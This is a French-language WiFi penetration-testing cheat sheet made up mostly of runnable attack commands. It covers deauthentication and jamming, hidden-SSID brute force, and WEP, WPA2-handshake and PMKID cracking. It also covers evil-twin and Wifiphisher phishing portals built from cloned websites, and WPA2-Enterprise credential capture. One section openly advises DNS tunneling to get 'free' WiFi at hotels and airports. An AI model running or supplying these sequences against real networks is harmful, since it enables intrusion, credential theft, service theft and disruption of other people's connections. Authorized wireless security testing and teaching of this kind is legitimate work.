Guide de test de pénétration WiFi

Index

1. Commandes de base

2. Réseaux ouverts

   2.1. Portails captifs

   2.2. Attaque Man in the Middle

3. Craquage WEP

   3.1. Sans clients

4. Craquage WPA2-PSK

   4.1. Craquage du 4-way-handshake

   4.2. Attaque PMKID

   4.3. Attaque sans AP

5. WPA2-Enterprise

   5.1. Points d'accès factices

   5.2. Attaque par force brute

   5.3. Méthodes EAP supportées

6. Autres attaques

   6.1. Krack Attack et Frag Attack

   6.2. OSINT

   6.3. Brouillage WiFi

   6.4. Autres frameworks

7. Post-exploitation

   7.1. Attaque du routeur

   7.2. Types de scanners

   7.3. Spoofing

1. Commandes de base

Définir une variable d'environnement

VARIABLE=value

Vérifier le mode de l'interface

iwconfig $IFACE

Vérifier l'état de l'interface

ifconfig $IFACE

Passer en mode monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Lister les réseaux

1. Activer le mode monitor

2. Lancer Airodump-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Désauthentification

1. Un seul client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Un point d'accès (= tous les clients du point d'accès)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obtenir un SSID masqué avec des clients

1. Lister les réseaux

Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.

2. Désauthentifier

Dans un autre terminal, désauthentifiez un client ou tous. Quand Airodump-ng capture un handshake de ce réseau, le nom ou ESSID apparaîtra dans le premier terminal :

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obtenir un SSID masqué sans clients

1. Lister les réseaux

Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.

2.a. Exécuter une attaque par dictionnaire

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Ou exécuter une attaque par force brute

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Pour le jeu de caractères, il est possible d'utiliser l (lettres minuscules), u (lettres majuscules), n (chiffres), c (minuscules+majuscules), m (minuscules+majuscules+chiffres) ou a (tous les caractères imprimables).

2. Réseaux ouverts

2.1. Portails captifs

2.1.1. Faux portails captifs

1. Cloner un site web avec HTTrack

2. Installer Wifiphiser. Ajouter le résultat de HTTrack dans un nouveau dossier dans wifiphisher/data/phishing-pages/new_page/html et un fichier de configuration dans wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompiler le projet avec python setup.py install ou le binaire dans bin.

4. Cette commande fonctionne correctement dans la dernière version de Kali après avoir installé hostapd :

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Contournement 1 : Spoofing d'adresse MAC

La première méthode pour contourner un portail captif consiste à changer votre adresse MAC pour celle d'un utilisateur déjà authentifié.

1. Scannez le réseau et obtenez la liste des adresses IP et MAC. Vous pouvez utiliser :

• nmap

• Un script personnalisé comme celui-ci (Bash) ou celui-ci (Python)

2. Changez vos adresses IP et MAC. Vous pouvez utiliser :

• macchanger

• Un script personnalisé comme celui-ci(Bash)

Vous pouvez aussi utiliser des scripts pour automatiser le processus comme :

• Script de Poliva

• Hackcaptiveportals

2.1.3. Contournement 2 : Tunneling DNS

Une seconde méthode consiste à créer un tunnel DNS. Pour cela, il est nécessaire de posséder un serveur DNS accessible. Vous pouvez utiliser cette méthode pour contourner le portail captif et obtenir un WiFi "gratuit" dans les hôtels, aéroports...

1. Vérifiez que les noms de domaine sont résolus :

nslookup example.com

2. Créez 2 enregistrements DNS (chez Digital ocean, Afraid.org...) :

• Un "enregistrement A" : dns.$DOMAIN pointant vers $SERVER_IP (Exemple : dns.domain.com 139.59.172.117)

• Un "enregistrement NS" : hack.$DOMAIN pointant vers dns.$DOMAIN (Exemple : hack.domain.com dns.domain.com)

3. Exécution sur le serveur

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Vérifiez si cela fonctionne correctement sur ce site

5. Exécution sur le client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Créer le tunnel

ssh -D 8080 [email protected]

2.2. Attaque Man in the Middle

Une fois connecté au réseau, vous pouvez tester s'il est vulnérable aux attaques Man in the Middle.

1. Attaque ARP Spoofing avec Ettercap

2. Sniffez le trafic avec Wireshark ou TCPdump

3. Analysez le trafic avec PCredz (Linux) ou Network Miner (Windows)

3. Craquage WEP

1. Démarrer la capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Accélérer la capture d'IV en utilisant Fake authentication + Arp Request Replay Attack + Désauthentifier un utilisateur. Arrêtez Airodump à environ 100 000 IV différents

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Casser le mot de passe avec Aircrack-ng

aircrack-ng $PCAP_FILE

4. Craquage WPA2-PSK

4.1. Craquage du 4-way-handshake

1. Démarrer la capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Désauthentifier un utilisateur. Arrêtez la capture airodump lorsque vous voyez le message 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Option 1 : Casser le handshake avec Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Vous pouvez obtenir des listes de mots ici.

4. Option 2 : Casser le handshake avec Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Attaque PMKID

Vous pouvez utiliser ce script ou suivre ces étapes :

1. Installer Hcxdumptool et Hcxtool (vous pouvez utiliser ce script).

2. Arrêter Network Manager

airmon-ng check kill

3a. Si vous voulez attaquer une adresse MAC spécifique

• Créez un fichier texte ($FILTER_FILE) et ajoutez l'adresse MAC sans les ":". Vous pouvez utiliser sed et rediriger la sortie vers un fichier :

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capturez le PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Créez $HASH_FILE

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

La structure de chaque ligne est : PMKID * MAC ROUTEUR * STATION * ESSID (vérifiez sur : https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Cassez-le avec Hashcat (option 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

4.3. Attaque sans AP

Si vous avez accès à un appareil client avec la connexion WiFi activée mais qu'aucun réseau n'est présent, vous pouvez toujours attaquer ce réseau si l'appareil client s'y est déjà connecté auparavant.

Pour cela, vous devez créer un faux point d'accès avec hostapd en utilisant un fichier de configuration comme celui-ci, avec un mot de passe quelconque mais le même nom de réseau. Créez le faux réseau, l'appareil client tentera de s'y connecter et vous obtiendrez le 4-way handshake comme dans la section 4.1 de ce guide.

5. WPA2-Enterprise

5.1 Points d'accès factices

Téléchargement de machines virtuelles

Installation locale

Si vous ne souhaitez pas utiliser la machine virtuelle, vous pouvez tout installer avec :

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd & Freeradius-wpe

Démarrez le point d'accès avec :

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Quand un client se connecte, lisez les logs avec :

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Attaque par force brute

• Airhammer

5.3 Méthodes EAP supportées

Trouver les méthodes EAP supportées

• EAP_buster

6. Autres attaques

6.1. Krack Attack et Frag Attack

Ce sont deux attaques avancées découvertes par le grand Mathy Vanhoef :

• Krack Attack Scripts - Expliqué sur ce site web

• Frag Attack Scripts - Expliqué sur ce site web

6.2. OSINT

• Wigle

6.3. Brouillage WiFi

• Wifijammer - Ce programme peut envoyer des paquets de désauthentification à la fois aux points d'accès et aux clients.

Un exemple pour désauthentifier tous les appareils sauf un faux point d'accès :

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Autres frameworks

Linux :

• Sniffair
• Wifi Pumpkin - Framework pour attaque de point d'accès WiFi malveillant
• Eaphammer - Framework pour faux points d'accès
• WEF - Framework pour différents types d'attaques WPA/WPA2 et WEP, craquage automatisé de hash et plus

Windows :

• Acrylic - Utile pour la phase de reconnaissance
• Ekahau - Utile pour la planification WiFi
• Vistumbler - Utile pour le wardriving

7. Post-exploitation

Une fois connecté au réseau

7.1. Attaque du routeur

• Routersploit - Framework d'exploitation pour appareils embarqués - Testez "use scanners/autopwn"

7.2. Types de scanners

• Nmap/Zenmap - Scanner de sécurité, scanner de ports et outil d'exploration réseau

• Masscan - La version plus rapide de nmap (il peut casser des choses, soyez donc prudent)

• Netdiscover - Sniffing ARP. Très utile si les réseaux sont très segmentés

7.3. Spoofing

• Ettercap - Vérifiez si vous pouvez réaliser une attaque MitM et sniffer tout le trafic du réseau